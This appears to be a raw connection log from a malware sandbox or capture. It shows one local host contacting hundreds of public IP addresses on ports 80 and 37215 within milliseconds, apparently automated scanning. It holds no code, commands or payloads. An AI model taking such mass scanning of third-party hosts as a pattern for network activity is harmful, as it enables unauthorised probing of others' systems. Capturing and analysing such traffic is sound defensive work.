Dec 3, 2024 22:02:00.888730049 CET	39296	80	192.168.2.14	194.39.90.48
Dec 3, 2024 22:02:00.888739109 CET	39296	80	192.168.2.14	90.28.162.152
Dec 3, 2024 22:02:00.888746977 CET	39296	80	192.168.2.14	45.39.8.167
Dec 3, 2024 22:02:00.888763905 CET	39296	80	192.168.2.14	63.218.165.58
Dec 3, 2024 22:02:00.888768911 CET	39296	80	192.168.2.14	209.233.135.77
Dec 3, 2024 22:02:00.888773918 CET	39296	80	192.168.2.14	200.69.99.21
Dec 3, 2024 22:02:00.888781071 CET	40832	37215	192.168.2.14	41.23.211.124
Dec 3, 2024 22:02:00.888787031 CET	40832	37215	192.168.2.14	197.69.225.65
Dec 3, 2024 22:02:00.888792992 CET	40832	37215	192.168.2.14	156.243.4.26
Dec 3, 2024 22:02:00.888797045 CET	40832	37215	192.168.2.14	156.220.134.116
Dec 3, 2024 22:02:00.888799906 CET	39296	80	192.168.2.14	24.65.186.129
Dec 3, 2024 22:02:00.888802052 CET	40832	37215	192.168.2.14	156.188.237.224
Dec 3, 2024 22:02:00.888804913 CET	40832	37215	192.168.2.14	156.243.37.35
Dec 3, 2024 22:02:00.888812065 CET	40832	37215	192.168.2.14	197.198.79.232
Dec 3, 2024 22:02:00.888813972 CET	40832	37215	192.168.2.14	197.3.199.53
Dec 3, 2024 22:02:00.888814926 CET	39296	80	192.168.2.14	62.241.70.151
Dec 3, 2024 22:02:00.888812065 CET	40832	37215	192.168.2.14	156.166.95.179
Dec 3, 2024 22:02:00.888814926 CET	40832	37215	192.168.2.14	41.109.92.27
Dec 3, 2024 22:02:00.888812065 CET	40832	37215	192.168.2.14	156.249.144.238
Dec 3, 2024 22:02:00.888827085 CET	40832	37215	192.168.2.14	156.184.38.6
Dec 3, 2024 22:02:00.888827085 CET	40832	37215	192.168.2.14	156.34.255.57
Dec 3, 2024 22:02:00.888833046 CET	39296	80	192.168.2.14	161.48.140.46
Dec 3, 2024 22:02:00.888833046 CET	40832	37215	192.168.2.14	156.39.22.13
Dec 3, 2024 22:02:00.888840914 CET	40832	37215	192.168.2.14	41.229.106.48
Dec 3, 2024 22:02:00.888840914 CET	40832	37215	192.168.2.14	197.181.106.159
Dec 3, 2024 22:02:00.888843060 CET	39296	80	192.168.2.14	43.187.209.138
Dec 3, 2024 22:02:00.888843060 CET	40832	37215	192.168.2.14	197.236.12.49
Dec 3, 2024 22:02:00.888844013 CET	40832	37215	192.168.2.14	156.159.170.36
Dec 3, 2024 22:02:00.888849020 CET	40832	37215	192.168.2.14	156.175.159.105
Dec 3, 2024 22:02:00.888856888 CET	40832	37215	192.168.2.14	41.216.233.163
Dec 3, 2024 22:02:00.888856888 CET	40832	37215	192.168.2.14	156.51.24.233
Dec 3, 2024 22:02:00.888856888 CET	39296	80	192.168.2.14	144.80.189.244
Dec 3, 2024 22:02:00.888866901 CET	40832	37215	192.168.2.14	197.155.233.34
Dec 3, 2024 22:02:00.888870001 CET	40832	37215	192.168.2.14	197.147.124.144
Dec 3, 2024 22:02:00.888871908 CET	40832	37215	192.168.2.14	41.46.166.42
Dec 3, 2024 22:02:00.888873100 CET	40832	37215	192.168.2.14	156.183.99.26
Dec 3, 2024 22:02:00.888880968 CET	40832	37215	192.168.2.14	41.247.75.88
Dec 3, 2024 22:02:00.888881922 CET	40832	37215	192.168.2.14	156.81.221.68
Dec 3, 2024 22:02:00.888887882 CET	40832	37215	192.168.2.14	41.20.77.59
Dec 3, 2024 22:02:00.888896942 CET	40832	37215	192.168.2.14	156.191.198.60
Dec 3, 2024 22:02:00.888897896 CET	39296	80	192.168.2.14	65.47.67.174
Dec 3, 2024 22:02:00.888906956 CET	40832	37215	192.168.2.14	197.234.60.254
Dec 3, 2024 22:02:00.888906956 CET	40832	37215	192.168.2.14	156.34.235.121
Dec 3, 2024 22:02:00.888911009 CET	40832	37215	192.168.2.14	41.248.188.107
Dec 3, 2024 22:02:00.888911009 CET	40832	37215	192.168.2.14	41.27.70.109
Dec 3, 2024 22:02:00.888915062 CET	40832	37215	192.168.2.14	156.27.199.33
Dec 3, 2024 22:02:00.888915062 CET	40832	37215	192.168.2.14	41.244.214.81
Dec 3, 2024 22:02:00.888925076 CET	40832	37215	192.168.2.14	156.115.252.62
Dec 3, 2024 22:02:00.888927937 CET	40832	37215	192.168.2.14	197.53.252.89
Dec 3, 2024 22:02:00.888931990 CET	40832	37215	192.168.2.14	156.190.67.5
Dec 3, 2024 22:02:00.888932943 CET	40832	37215	192.168.2.14	197.152.191.163
Dec 3, 2024 22:02:00.888938904 CET	39296	80	192.168.2.14	35.4.160.187
Dec 3, 2024 22:02:00.888938904 CET	40832	37215	192.168.2.14	41.17.222.113
Dec 3, 2024 22:02:00.888940096 CET	40832	37215	192.168.2.14	197.87.204.59
Dec 3, 2024 22:02:00.888940096 CET	39296	80	192.168.2.14	117.143.217.191
Dec 3, 2024 22:02:00.888940096 CET	39296	80	192.168.2.14	23.174.230.229
Dec 3, 2024 22:02:00.888947964 CET	40832	37215	192.168.2.14	41.176.232.219
Dec 3, 2024 22:02:00.888947964 CET	39296	80	192.168.2.14	110.71.109.158
Dec 3, 2024 22:02:00.888950109 CET	39296	80	192.168.2.14	168.12.164.90
Dec 3, 2024 22:02:00.888950109 CET	40832	37215	192.168.2.14	156.117.242.6
Dec 3, 2024 22:02:00.888957024 CET	39296	80	192.168.2.14	115.201.14.170
Dec 3, 2024 22:02:00.888957977 CET	40832	37215	192.168.2.14	41.231.105.151
Dec 3, 2024 22:02:00.888958931 CET	40832	37215	192.168.2.14	41.9.151.124
Dec 3, 2024 22:02:00.888958931 CET	40832	37215	192.168.2.14	197.21.42.155
Dec 3, 2024 22:02:00.888958931 CET	39296	80	192.168.2.14	71.184.7.95
Dec 3, 2024 22:02:00.888962984 CET	40832	37215	192.168.2.14	197.54.51.114
Dec 3, 2024 22:02:00.888962984 CET	40832	37215	192.168.2.14	156.237.75.134
Dec 3, 2024 22:02:00.888962984 CET	39296	80	192.168.2.14	132.108.158.48
Dec 3, 2024 22:02:00.888964891 CET	40832	37215	192.168.2.14	41.73.171.41
Dec 3, 2024 22:02:00.888964891 CET	40832	37215	192.168.2.14	156.32.252.45
Dec 3, 2024 22:02:00.888967991 CET	40832	37215	192.168.2.14	156.54.216.119
Dec 3, 2024 22:02:00.888967991 CET	40832	37215	192.168.2.14	41.154.72.238
Dec 3, 2024 22:02:00.888967991 CET	40832	37215	192.168.2.14	156.216.153.196
Dec 3, 2024 22:02:00.888969898 CET	40832	37215	192.168.2.14	41.97.37.137
Dec 3, 2024 22:02:00.888969898 CET	39296	80	192.168.2.14	152.85.49.36
Dec 3, 2024 22:02:00.888973951 CET	40832	37215	192.168.2.14	156.168.228.208
Dec 3, 2024 22:02:00.888987064 CET	40832	37215	192.168.2.14	197.23.200.135
Dec 3, 2024 22:02:00.888987064 CET	40832	37215	192.168.2.14	156.174.251.192
Dec 3, 2024 22:02:00.888988018 CET	40832	37215	192.168.2.14	41.216.73.72
Dec 3, 2024 22:02:00.888989925 CET	39296	80	192.168.2.14	89.180.186.195
Dec 3, 2024 22:02:00.888989925 CET	40832	37215	192.168.2.14	41.251.166.56
Dec 3, 2024 22:02:00.888989925 CET	40832	37215	192.168.2.14	156.247.98.154
Dec 3, 2024 22:02:00.888989925 CET	40832	37215	192.168.2.14	41.199.73.204
Dec 3, 2024 22:02:00.888989925 CET	39296	80	192.168.2.14	194.122.172.149
Dec 3, 2024 22:02:00.888991117 CET	39296	80	192.168.2.14	125.128.45.155
Dec 3, 2024 22:02:00.888994932 CET	40832	37215	192.168.2.14	156.14.61.189
Dec 3, 2024 22:02:00.888991117 CET	40832	37215	192.168.2.14	41.254.225.25
Dec 3, 2024 22:02:00.888991117 CET	40832	37215	192.168.2.14	41.213.138.220
Dec 3, 2024 22:02:00.888994932 CET	40832	37215	192.168.2.14	41.60.80.255
Dec 3, 2024 22:02:00.888991117 CET	40832	37215	192.168.2.14	41.128.87.105
Dec 3, 2024 22:02:00.888991117 CET	40832	37215	192.168.2.14	41.112.164.251
Dec 3, 2024 22:02:00.888991117 CET	39296	80	192.168.2.14	20.54.217.186
Dec 3, 2024 22:02:00.888991117 CET	39296	80	192.168.2.14	39.90.220.163
Dec 3, 2024 22:02:00.888999939 CET	39296	80	192.168.2.14	136.172.148.79
Dec 3, 2024 22:02:00.889003992 CET	40832	37215	192.168.2.14	197.238.33.88
Dec 3, 2024 22:02:00.889003992 CET	39296	80	192.168.2.14	35.175.73.89
Dec 3, 2024 22:02:00.889007092 CET	39296	80	192.168.2.14	113.25.206.96
Dec 3, 2024 22:02:00.889017105 CET	39296	80	192.168.2.14	128.44.53.3
Dec 3, 2024 22:02:00.889017105 CET	40832	37215	192.168.2.14	197.13.151.248
Dec 3, 2024 22:02:00.889019012 CET	40832	37215	192.168.2.14	41.88.171.201
Dec 3, 2024 22:02:00.889019012 CET	39296	80	192.168.2.14	41.193.240.49
Dec 3, 2024 22:02:00.889019966 CET	39296	80	192.168.2.14	125.166.58.109
Dec 3, 2024 22:02:00.889019966 CET	40832	37215	192.168.2.14	197.118.186.65
Dec 3, 2024 22:02:00.889020920 CET	40832	37215	192.168.2.14	156.74.89.163
Dec 3, 2024 22:02:00.889019966 CET	40832	37215	192.168.2.14	197.199.51.250
Dec 3, 2024 22:02:00.889019966 CET	39296	80	192.168.2.14	18.200.116.199
Dec 3, 2024 22:02:00.889020920 CET	40832	37215	192.168.2.14	156.231.26.120
Dec 3, 2024 22:02:00.889023066 CET	40832	37215	192.168.2.14	41.242.144.248
Dec 3, 2024 22:02:00.889019966 CET	40832	37215	192.168.2.14	41.11.155.117
Dec 3, 2024 22:02:00.889019012 CET	40832	37215	192.168.2.14	41.66.114.172
Dec 3, 2024 22:02:00.889028072 CET	39296	80	192.168.2.14	209.200.254.151
Dec 3, 2024 22:02:00.889028072 CET	40832	37215	192.168.2.14	197.49.84.34
Dec 3, 2024 22:02:00.889033079 CET	40832	37215	192.168.2.14	156.153.186.8
Dec 3, 2024 22:02:00.889038086 CET	40832	37215	192.168.2.14	197.164.216.37
Dec 3, 2024 22:02:00.889038086 CET	39296	80	192.168.2.14	197.43.7.102
Dec 3, 2024 22:02:00.889038086 CET	40832	37215	192.168.2.14	41.196.130.24
Dec 3, 2024 22:02:00.889039993 CET	39296	80	192.168.2.14	40.78.79.218
Dec 3, 2024 22:02:00.889039993 CET	40832	37215	192.168.2.14	156.97.94.170
Dec 3, 2024 22:02:00.889039993 CET	40832	37215	192.168.2.14	156.182.240.242
Dec 3, 2024 22:02:00.889039993 CET	39296	80	192.168.2.14	157.139.236.44
Dec 3, 2024 22:02:00.889041901 CET	39296	80	192.168.2.14	42.221.184.130
Dec 3, 2024 22:02:00.889041901 CET	40832	37215	192.168.2.14	41.8.61.169
Dec 3, 2024 22:02:00.889050961 CET	40832	37215	192.168.2.14	41.216.83.155
Dec 3, 2024 22:02:00.889050961 CET	40832	37215	192.168.2.14	156.247.174.38
Dec 3, 2024 22:02:00.889050961 CET	40832	37215	192.168.2.14	156.213.120.35
Dec 3, 2024 22:02:00.889058113 CET	40832	37215	192.168.2.14	156.108.79.58
Dec 3, 2024 22:02:00.889058113 CET	39296	80	192.168.2.14	218.0.24.86
Dec 3, 2024 22:02:00.889058113 CET	39296	80	192.168.2.14	61.153.98.237
Dec 3, 2024 22:02:00.889059067 CET	39296	80	192.168.2.14	59.70.54.75
Dec 3, 2024 22:02:00.889059067 CET	40832	37215	192.168.2.14	197.98.210.62
Dec 3, 2024 22:02:00.889059067 CET	40832	37215	192.168.2.14	197.79.233.244
Dec 3, 2024 22:02:00.889058113 CET	40832	37215	192.168.2.14	41.220.139.23
Dec 3, 2024 22:02:00.889058113 CET	40832	37215	192.168.2.14	156.64.232.237
Dec 3, 2024 22:02:00.889058113 CET	39296	80	192.168.2.14	159.125.147.78
Dec 3, 2024 22:02:00.889061928 CET	40832	37215	192.168.2.14	197.171.20.94
Dec 3, 2024 22:02:00.889061928 CET	39296	80	192.168.2.14	156.168.236.164
Dec 3, 2024 22:02:00.889061928 CET	40832	37215	192.168.2.14	156.93.126.221
Dec 3, 2024 22:02:00.889064074 CET	40832	37215	192.168.2.14	156.187.17.37
Dec 3, 2024 22:02:00.889070988 CET	39296	80	192.168.2.14	140.137.3.42
Dec 3, 2024 22:02:00.889070988 CET	39296	80	192.168.2.14	172.244.38.106
Dec 3, 2024 22:02:00.889070988 CET	40832	37215	192.168.2.14	156.142.102.130
Dec 3, 2024 22:02:00.889074087 CET	39296	80	192.168.2.14	132.52.169.33
Dec 3, 2024 22:02:00.889075041 CET	40832	37215	192.168.2.14	41.169.104.86
Dec 3, 2024 22:02:00.889075041 CET	40832	37215	192.168.2.14	41.139.80.245
Dec 3, 2024 22:02:00.889075041 CET	40832	37215	192.168.2.14	197.125.227.92
Dec 3, 2024 22:02:00.889075041 CET	40832	37215	192.168.2.14	41.30.46.206
Dec 3, 2024 22:02:00.889077902 CET	40832	37215	192.168.2.14	156.42.137.66
Dec 3, 2024 22:02:00.889077902 CET	40832	37215	192.168.2.14	41.214.176.79
Dec 3, 2024 22:02:00.889092922 CET	40832	37215	192.168.2.14	156.32.90.248
Dec 3, 2024 22:02:00.889092922 CET	40832	37215	192.168.2.14	41.128.66.98
Dec 3, 2024 22:02:00.889092922 CET	39296	80	192.168.2.14	192.226.136.136
Dec 3, 2024 22:02:00.889092922 CET	40832	37215	192.168.2.14	41.60.142.134
Dec 3, 2024 22:02:00.889092922 CET	40832	37215	192.168.2.14	156.176.149.58
Dec 3, 2024 22:02:00.889092922 CET	40832	37215	192.168.2.14	41.139.44.237
Dec 3, 2024 22:02:00.889095068 CET	40832	37215	192.168.2.14	41.43.214.36
Dec 3, 2024 22:02:00.889095068 CET	39296	80	192.168.2.14	131.57.107.102
Dec 3, 2024 22:02:00.889096022 CET	39296	80	192.168.2.14	12.77.245.48
Dec 3, 2024 22:02:00.889096022 CET	40832	37215	192.168.2.14	156.196.237.133
Dec 3, 2024 22:02:00.889096022 CET	40832	37215	192.168.2.14	197.191.233.231
Dec 3, 2024 22:02:00.889096022 CET	39296	80	192.168.2.14	91.179.209.115
Dec 3, 2024 22:02:00.889100075 CET	40832	37215	192.168.2.14	156.2.250.136
Dec 3, 2024 22:02:00.889100075 CET	40832	37215	192.168.2.14	197.127.209.31
Dec 3, 2024 22:02:00.889102936 CET	40832	37215	192.168.2.14	197.89.115.88
Dec 3, 2024 22:02:00.889102936 CET	40832	37215	192.168.2.14	156.185.148.120
Dec 3, 2024 22:02:00.889102936 CET	39296	80	192.168.2.14	111.99.4.157
Dec 3, 2024 22:02:00.889102936 CET	39296	80	192.168.2.14	108.91.195.138
Dec 3, 2024 22:02:00.889102936 CET	39296	80	192.168.2.14	81.250.33.232
Dec 3, 2024 22:02:00.889110088 CET	39296	80	192.168.2.14	48.58.175.144
Dec 3, 2024 22:02:00.889122009 CET	39296	80	192.168.2.14	222.105.113.62
Dec 3, 2024 22:02:00.889122963 CET	39296	80	192.168.2.14	138.125.109.151
Dec 3, 2024 22:02:00.889122963 CET	40832	37215	192.168.2.14	156.57.148.228
Dec 3, 2024 22:02:00.889122009 CET	40832	37215	192.168.2.14	156.62.159.200
Dec 3, 2024 22:02:00.889122963 CET	40832	37215	192.168.2.14	156.48.51.43
Dec 3, 2024 22:02:00.889122009 CET	39296	80	192.168.2.14	149.210.97.206
Dec 3, 2024 22:02:00.889123917 CET	40832	37215	192.168.2.14	156.47.11.108
Dec 3, 2024 22:02:00.889127016 CET	40832	37215	192.168.2.14	197.94.188.103
Dec 3, 2024 22:02:00.889125109 CET	40832	37215	192.168.2.14	41.162.71.189
Dec 3, 2024 22:02:00.889127016 CET	39296	80	192.168.2.14	62.129.84.75
Dec 3, 2024 22:02:00.889125109 CET	39296	80	192.168.2.14	144.194.66.153
Dec 3, 2024 22:02:00.889125109 CET	39296	80	192.168.2.14	148.203.81.65
Dec 3, 2024 22:02:00.889127016 CET	40832	37215	192.168.2.14	197.115.64.250
Dec 3, 2024 22:02:00.889125109 CET	39296	80	192.168.2.14	91.64.220.35
Dec 3, 2024 22:02:00.889127016 CET	39296	80	192.168.2.14	59.172.88.119
Dec 3, 2024 22:02:00.889125109 CET	39296	80	192.168.2.14	20.137.100.157
Dec 3, 2024 22:02:00.889142990 CET	40832	37215	192.168.2.14	41.61.172.108
Dec 3, 2024 22:02:00.889142990 CET	39296	80	192.168.2.14	197.70.18.149
Dec 3, 2024 22:02:00.889146090 CET	40832	37215	192.168.2.14	197.14.235.227
Dec 3, 2024 22:02:00.889146090 CET	39296	80	192.168.2.14	45.229.224.106
Dec 3, 2024 22:02:00.889146090 CET	40832	37215	192.168.2.14	41.182.245.97
Dec 3, 2024 22:02:00.889146090 CET	40832	37215	192.168.2.14	156.50.97.197
Dec 3, 2024 22:02:00.889152050 CET	40832	37215	192.168.2.14	156.50.250.195
Dec 3, 2024 22:02:00.889158964 CET	40832	37215	192.168.2.14	156.134.172.70
Dec 3, 2024 22:02:00.889158964 CET	39296	80	192.168.2.14	54.25.221.45
Dec 3, 2024 22:02:00.889158964 CET	40832	37215	192.168.2.14	197.84.82.11
Dec 3, 2024 22:02:00.889158964 CET	39296	80	192.168.2.14	187.54.77.223
Dec 3, 2024 22:02:00.889158964 CET	40832	37215	192.168.2.14	41.48.70.95
Dec 3, 2024 22:02:00.889158964 CET	40832	37215	192.168.2.14	156.189.245.80
Dec 3, 2024 22:02:00.889158964 CET	39296	80	192.168.2.14	40.87.80.191
Dec 3, 2024 22:02:00.889163017 CET	40832	37215	192.168.2.14	197.113.55.203
Dec 3, 2024 22:02:00.889158964 CET	40832	37215	192.168.2.14	41.237.26.145
Dec 3, 2024 22:02:00.889163017 CET	40832	37215	192.168.2.14	197.14.144.45
Dec 3, 2024 22:02:00.889167070 CET	39296	80	192.168.2.14	116.58.206.28
Dec 3, 2024 22:02:00.889167070 CET	40832	37215	192.168.2.14	41.134.92.35
Dec 3, 2024 22:02:00.889167070 CET	39296	80	192.168.2.14	79.145.84.211
Dec 3, 2024 22:02:00.889168024 CET	40832	37215	192.168.2.14	41.87.161.159
Dec 3, 2024 22:02:00.889167070 CET	40832	37215	192.168.2.14	197.150.111.84
Dec 3, 2024 22:02:00.889168024 CET	40832	37215	192.168.2.14	156.173.67.120
Dec 3, 2024 22:02:00.889168024 CET	39296	80	192.168.2.14	51.219.144.166
Dec 3, 2024 22:02:00.889168024 CET	40832	37215	192.168.2.14	156.47.141.197
Dec 3, 2024 22:02:00.889168024 CET	39296	80	192.168.2.14	174.132.117.54
Dec 3, 2024 22:02:00.889180899 CET	40832	37215	192.168.2.14	41.117.183.163
Dec 3, 2024 22:02:00.889200926 CET	40832	37215	192.168.2.14	156.159.202.101
Dec 3, 2024 22:02:00.889200926 CET	39296	80	192.168.2.14	158.34.76.68
Dec 3, 2024 22:02:00.889202118 CET	40832	37215	192.168.2.14	197.171.192.33
Dec 3, 2024 22:02:00.889200926 CET	40832	37215	192.168.2.14	156.26.70.228
Dec 3, 2024 22:02:00.889202118 CET	40832	37215	192.168.2.14	156.232.10.118
Dec 3, 2024 22:02:00.889202118 CET	40832	37215	192.168.2.14	41.140.5.224
Dec 3, 2024 22:02:00.889203072 CET	40832	37215	192.168.2.14	156.32.129.191
Dec 3, 2024 22:02:00.889202118 CET	40832	37215	192.168.2.14	156.180.175.76
Dec 3, 2024 22:02:00.889203072 CET	39296	80	192.168.2.14	167.194.207.123
Dec 3, 2024 22:02:00.889204025 CET	40832	37215	192.168.2.14	156.53.160.75
Dec 3, 2024 22:02:00.889202118 CET	39296	80	192.168.2.14	57.222.78.135
Dec 3, 2024 22:02:00.889204025 CET	40832	37215	192.168.2.14	197.230.160.253
Dec 3, 2024 22:02:00.889203072 CET	40832	37215	192.168.2.14	41.28.226.139
Dec 3, 2024 22:02:00.889208078 CET	40832	37215	192.168.2.14	41.56.223.151
Dec 3, 2024 22:02:00.889203072 CET	40832	37215	192.168.2.14	41.194.198.57
Dec 3, 2024 22:02:00.889208078 CET	39296	80	192.168.2.14	38.100.163.149
Dec 3, 2024 22:02:00.889208078 CET	39296	80	192.168.2.14	115.247.142.194
Dec 3, 2024 22:02:00.889204025 CET	39296	80	192.168.2.14	60.181.187.178
Dec 3, 2024 22:02:00.889208078 CET	39296	80	192.168.2.14	109.246.45.222
Dec 3, 2024 22:02:00.889206886 CET	40832	37215	192.168.2.14	156.172.20.114
Dec 3, 2024 22:02:00.889208078 CET	39296	80	192.168.2.14	36.6.70.192
Dec 3, 2024 22:02:00.889204025 CET	40832	37215	192.168.2.14	156.254.216.148
Dec 3, 2024 22:02:00.889208078 CET	40832	37215	192.168.2.14	156.139.102.90
Dec 3, 2024 22:02:00.889210939 CET	40832	37215	192.168.2.14	197.104.35.7
Dec 3, 2024 22:02:00.889206886 CET	40832	37215	192.168.2.14	197.121.230.78
Dec 3, 2024 22:02:00.889204025 CET	39296	80	192.168.2.14	179.71.208.33
Dec 3, 2024 22:02:00.889206886 CET	39296	80	192.168.2.14	50.97.165.25
Dec 3, 2024 22:02:00.889208078 CET	40832	37215	192.168.2.14	197.148.231.72
Dec 3, 2024 22:02:00.889208078 CET	39296	80	192.168.2.14	196.164.152.129
Dec 3, 2024 22:02:00.889210939 CET	39296	80	192.168.2.14	63.177.244.169
Dec 3, 2024 22:02:00.889208078 CET	40832	37215	192.168.2.14	156.148.234.254
Dec 3, 2024 22:02:00.889208078 CET	40832	37215	192.168.2.14	197.76.16.63
Dec 3, 2024 22:02:00.889208078 CET	39296	80	192.168.2.14	117.19.216.144
Dec 3, 2024 22:02:00.889208078 CET	39296	80	192.168.2.14	180.62.172.87
Dec 3, 2024 22:02:00.889240026 CET	39296	80	192.168.2.14	157.18.117.82
Dec 3, 2024 22:02:00.889240026 CET	39296	80	192.168.2.14	203.61.193.134
Dec 3, 2024 22:02:00.889240026 CET	40832	37215	192.168.2.14	41.23.8.97
Dec 3, 2024 22:02:00.889240026 CET	39296	80	192.168.2.14	142.127.153.68
Dec 3, 2024 22:02:00.889240026 CET	40832	37215	192.168.2.14	156.80.111.244
Dec 3, 2024 22:02:00.889240980 CET	40832	37215	192.168.2.14	41.105.205.171
Dec 3, 2024 22:02:00.889241934 CET	39296	80	192.168.2.14	151.96.198.215
Dec 3, 2024 22:02:00.889240980 CET	39296	80	192.168.2.14	152.136.53.11
Dec 3, 2024 22:02:00.889241934 CET	40832	37215	192.168.2.14	197.41.48.160
Dec 3, 2024 22:02:00.889240980 CET	39296	80	192.168.2.14	65.49.71.30
Dec 3, 2024 22:02:00.889240980 CET	40832	37215	192.168.2.14	41.213.34.189
Dec 3, 2024 22:02:00.889244080 CET	40832	37215	192.168.2.14	197.240.159.53
Dec 3, 2024 22:02:00.889240980 CET	40832	37215	192.168.2.14	197.53.63.21
Dec 3, 2024 22:02:00.889244080 CET	40832	37215	192.168.2.14	156.27.82.231
Dec 3, 2024 22:02:00.889241934 CET	40832	37215	192.168.2.14	156.111.131.131
Dec 3, 2024 22:02:00.889240980 CET	40832	37215	192.168.2.14	41.120.234.205
Dec 3, 2024 22:02:00.889240980 CET	40832	37215	192.168.2.14	41.188.123.121
Dec 3, 2024 22:02:00.889244080 CET	40832	37215	192.168.2.14	156.168.195.175
Dec 3, 2024 22:02:00.889241934 CET	40832	37215	192.168.2.14	156.159.120.227
Dec 3, 2024 22:02:00.889240980 CET	39296	80	192.168.2.14	143.243.104.144
Dec 3, 2024 22:02:00.889244080 CET	39296	80	192.168.2.14	81.250.90.72
Dec 3, 2024 22:02:00.889240980 CET	39296	80	192.168.2.14	199.133.93.183
Dec 3, 2024 22:02:00.889240980 CET	39296	80	192.168.2.14	123.201.54.20
Dec 3, 2024 22:02:00.889244080 CET	40832	37215	192.168.2.14	156.23.181.158
Dec 3, 2024 22:02:00.889240980 CET	40832	37215	192.168.2.14	197.233.163.243
Dec 3, 2024 22:02:00.889244080 CET	40832	37215	192.168.2.14	156.71.147.83
Dec 3, 2024 22:02:00.889241934 CET	39296	80	192.168.2.14	31.58.90.65
Dec 3, 2024 22:02:00.889240980 CET	40832	37215	192.168.2.14	156.234.76.175
Dec 3, 2024 22:02:00.889244080 CET	40832	37215	192.168.2.14	41.103.234.114
Dec 3, 2024 22:02:00.889240980 CET	39296	80	192.168.2.14	125.101.125.224
Dec 3, 2024 22:02:00.889241934 CET	40832	37215	192.168.2.14	156.89.99.43
Dec 3, 2024 22:02:00.889240980 CET	40832	37215	192.168.2.14	41.135.165.50
Dec 3, 2024 22:02:00.889241934 CET	40832	37215	192.168.2.14	197.202.114.4
Dec 3, 2024 22:02:00.889267921 CET	40832	37215	192.168.2.14	41.9.152.168
Dec 3, 2024 22:02:00.889266014 CET	39296	80	192.168.2.14	49.192.134.196
Dec 3, 2024 22:02:00.889271975 CET	40832	37215	192.168.2.14	197.229.229.58
Dec 3, 2024 22:02:00.889240980 CET	39296	80	192.168.2.14	205.4.177.5
Dec 3, 2024 22:02:00.889267921 CET	40832	37215	192.168.2.14	41.226.16.66
Dec 3, 2024 22:02:00.889271975 CET	39296	80	192.168.2.14	216.153.191.92
Dec 3, 2024 22:02:00.889266014 CET	39296	80	192.168.2.14	46.152.105.204
Dec 3, 2024 22:02:00.889241934 CET	39296	80	192.168.2.14	119.90.37.58
Dec 3, 2024 22:02:00.889266014 CET	40832	37215	192.168.2.14	156.191.72.23
Dec 3, 2024 22:02:00.889271975 CET	39296	80	192.168.2.14	19.36.186.37
Dec 3, 2024 22:02:00.889266014 CET	40832	37215	192.168.2.14	197.12.26.120
Dec 3, 2024 22:02:00.889241934 CET	39296	80	192.168.2.14	107.45.235.103
Dec 3, 2024 22:02:00.889240980 CET	40832	37215	192.168.2.14	156.153.9.121
Dec 3, 2024 22:02:00.889266014 CET	40832	37215	192.168.2.14	156.62.57.196
Dec 3, 2024 22:02:00.889267921 CET	40832	37215	192.168.2.14	156.57.114.223
Dec 3, 2024 22:02:00.889267921 CET	40832	37215	192.168.2.14	156.111.235.200
Dec 3, 2024 22:02:00.889267921 CET	39296	80	192.168.2.14	100.11.87.54
Dec 3, 2024 22:02:00.889267921 CET	40832	37215	192.168.2.14	41.52.32.188
Dec 3, 2024 22:02:00.889267921 CET	40832	37215	192.168.2.14	156.221.95.35
Dec 3, 2024 22:02:00.889267921 CET	40832	37215	192.168.2.14	156.89.93.202
Dec 3, 2024 22:02:00.889241934 CET	39296	80	192.168.2.14	162.96.231.12
Dec 3, 2024 22:02:00.889282942 CET	40832	37215	192.168.2.14	197.111.56.56
Dec 3, 2024 22:02:00.889266014 CET	40832	37215	192.168.2.14	156.22.239.131
Dec 3, 2024 22:02:00.889283895 CET	39296	80	192.168.2.14	35.246.79.40
Dec 3, 2024 22:02:00.889283895 CET	40832	37215	192.168.2.14	41.212.193.65
Dec 3, 2024 22:02:00.889283895 CET	39296	80	192.168.2.14	49.94.27.198
Dec 3, 2024 22:02:00.889283895 CET	39296	80	192.168.2.14	41.235.105.133
Dec 3, 2024 22:02:00.889283895 CET	40832	37215	192.168.2.14	41.162.50.37
Dec 3, 2024 22:02:00.889286041 CET	40832	37215	192.168.2.14	156.174.196.151
Dec 3, 2024 22:02:00.889283895 CET	39296	80	192.168.2.14	126.152.136.106
Dec 3, 2024 22:02:00.889286041 CET	40832	37215	192.168.2.14	197.249.78.147
Dec 3, 2024 22:02:00.889283895 CET	40832	37215	192.168.2.14	156.170.165.218
Dec 3, 2024 22:02:00.889286041 CET	40832	37215	192.168.2.14	156.196.172.10
Dec 3, 2024 22:02:00.889286041 CET	40832	37215	192.168.2.14	197.6.167.139
Dec 3, 2024 22:02:00.889286995 CET	40832	37215	192.168.2.14	197.214.110.225
Dec 3, 2024 22:02:00.889286041 CET	39296	80	192.168.2.14	164.252.58.116
Dec 3, 2024 22:02:00.889286041 CET	40832	37215	192.168.2.14	197.209.91.236
Dec 3, 2024 22:02:00.889292955 CET	40832	37215	192.168.2.14	156.0.8.117
Dec 3, 2024 22:02:00.889292955 CET	39296	80	192.168.2.14	93.146.129.115
Dec 3, 2024 22:02:00.889292955 CET	39296	80	192.168.2.14	81.108.116.174
Dec 3, 2024 22:02:00.889292955 CET	39296	80	192.168.2.14	75.48.32.237
Dec 3, 2024 22:02:00.889298916 CET	39296	80	192.168.2.14	129.8.176.233
Dec 3, 2024 22:02:00.889298916 CET	39296	80	192.168.2.14	140.237.35.245
Dec 3, 2024 22:02:00.889298916 CET	40832	37215	192.168.2.14	197.107.187.86
Dec 3, 2024 22:02:00.889298916 CET	39296	80	192.168.2.14	97.52.171.85
Dec 3, 2024 22:02:00.889298916 CET	40832	37215	192.168.2.14	41.95.53.169
Dec 3, 2024 22:02:00.889301062 CET	40832	37215	192.168.2.14	156.152.159.11
Dec 3, 2024 22:02:00.889301062 CET	39296	80	192.168.2.14	51.149.247.93
Dec 3, 2024 22:02:00.889301062 CET	40832	37215	192.168.2.14	197.137.136.215
Dec 3, 2024 22:02:00.889302015 CET	40832	37215	192.168.2.14	156.184.54.200
Dec 3, 2024 22:02:00.889302969 CET	39296	80	192.168.2.14	186.2.206.240
Dec 3, 2024 22:02:00.889302969 CET	40832	37215	192.168.2.14	156.88.169.143
Dec 3, 2024 22:02:00.889302969 CET	40832	37215	192.168.2.14	156.232.251.163
Dec 3, 2024 22:02:00.889308929 CET	40832	37215	192.168.2.14	41.5.81.183
Dec 3, 2024 22:02:00.889308929 CET	40832	37215	192.168.2.14	197.221.10.173
Dec 3, 2024 22:02:00.889308929 CET	39296	80	192.168.2.14	144.6.60.239
Dec 3, 2024 22:02:00.889308929 CET	40832	37215	192.168.2.14	41.225.142.192
Dec 3, 2024 22:02:00.889308929 CET	40832	37215	192.168.2.14	156.247.247.221
